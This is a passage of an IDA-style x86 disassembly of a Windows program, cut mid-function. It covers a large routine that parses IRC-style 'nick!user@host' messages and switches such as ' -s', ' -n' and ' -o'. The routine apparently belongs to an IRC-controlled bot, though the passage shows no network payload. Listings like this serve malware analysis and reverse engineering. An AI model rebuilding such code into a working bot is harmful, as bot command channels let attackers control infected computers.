		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410662:				; CODE XREF: sub_410030+4FFj
		call	sub_401226


loc_410667:				; CODE XREF: sub_410030+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113F7
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	ecx, dword_4490C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_4106A0:				; CODE XREF: sub_410030+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410722
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410727


loc_410722:				; CODE XREF: sub_410030+69Bj
		mov	[esp+20h+var_D], 1


loc_410727:				; CODE XREF: sub_410030+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410794
		cmp	[ebp+16h], bl
		jnz	short loc_410770
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410770:				; CODE XREF: sub_410030+713j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410794:				; CODE XREF: sub_410030+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410845
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41082D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41082D:				; CODE XREF: sub_410030+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410845:				; CODE XREF: sub_410030+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410880
		mov	al, byte_449804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410884


loc_410880:				; CODE XREF: sub_410030+840j
		mov	[esp+20h+var_D], bl


loc_410884:				; CODE XREF: sub_410030+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B91
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4108E2
		mov	ecx, eax
		call	sub_402072


loc_4108E2:				; CODE XREF: sub_410030+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41090E
		mov	ecx, eax
		call	sub_4010BE


loc_41090E:				; CODE XREF: sub_410030+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B7C


loc_41096F:				; CODE XREF: sub_410030+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410997
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410999
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_410030+95Aj
		xor	esi, esi


loc_410999:				; CODE XREF: sub_410030+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4109CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4109CF
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_410030+98Cj
		mov	[esp+20h+var_C], ebx


loc_4109CF:				; CODE XREF: sub_410030+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4109F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109F8
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_410030+9B7j
		mov	[esi+93h], bl


loc_4109F8:				; CODE XREF: sub_410030+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A13
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410A19
; ---------------------------------------------------------------------------


loc_410A13:				; CODE XREF: sub_410030+9D8j
		mov	[esi+94h], bl


loc_410A19:				; CODE XREF: sub_410030+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A34
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A34:				; CODE XREF: sub_410030+9F9j
		mov	[esi+95h], bl


loc_410A3A:				; CODE XREF: sub_410030+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F30
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410B29
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410B29:				; CODE XREF: sub_410030+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41096F


loc_410B7C:				; CODE XREF: sub_410030+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410B91:				; CODE XREF: sub_410030+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410EAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410C0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410C0B:				; CODE XREF: sub_410030+BCEj
		xor	esi, esi


loc_410C0D:				; CODE XREF: sub_410030+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410C3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410030+BFFj
		xor	edi, edi


loc_410C3E:				; CODE XREF: sub_410030+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C66
; ---------------------------------------------------------------------------


loc_410C60:				; CODE XREF: sub_410030+C25j
		mov	[esi+95h], bl


loc_410C66:				; CODE XREF: sub_410030+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C87
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410030+C46j
		mov	[esi+93h], bl


loc_410C87:				; CODE XREF: sub_410030+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410CA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410CA8
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410030+C67j
		mov	[esi+94h], bl


loc_410CA8:				; CODE XREF: sub_410030+C70j
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C60 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E7D
		add	eax, 2
		push	eax
		jmp	short loc_410E82
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_410030+E45j
		push	offset byte_448F30


loc_410E82:				; CODE XREF: sub_410030+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410E9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410E9F:				; CODE XREF: sub_410030+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: sub_410030+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411080
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410F72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410F72:				; CODE XREF: sub_410030+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493ED
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411080:				; CODE XREF: sub_410030+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411238
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	loc_411223
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_4111EB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_4111EB:				; CODE XREF: sub_410030+11A9j
		push	offset byte_4E8E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41120F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E45
		push	edx
		call	sub_401FDC


loc_41120F:				; CODE XREF: sub_410030+1173j
					; sub_410030+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411223:				; CODE XREF: sub_410030+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_410030+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4112BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4112C4


loc_4112BF:				; CODE XREF: sub_410030+1238j
		mov	[esp+20h+var_D], 1


loc_4112C4:				; CODE XREF: sub_410030+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113F7
; ---------------------------------------------------------------------------


loc_4113F0:				; CODE XREF: sub_410030+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4113F7:				; CODE XREF: sub_410030+1D3j
					; sub_410030+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410072


loc_411400:				; CODE XREF: sub_410030+3Cj
					; sub_410030+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_410030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411930	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411930	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4119B0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4119C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4119C8:				; CODE XREF: ___:004119BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4119E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
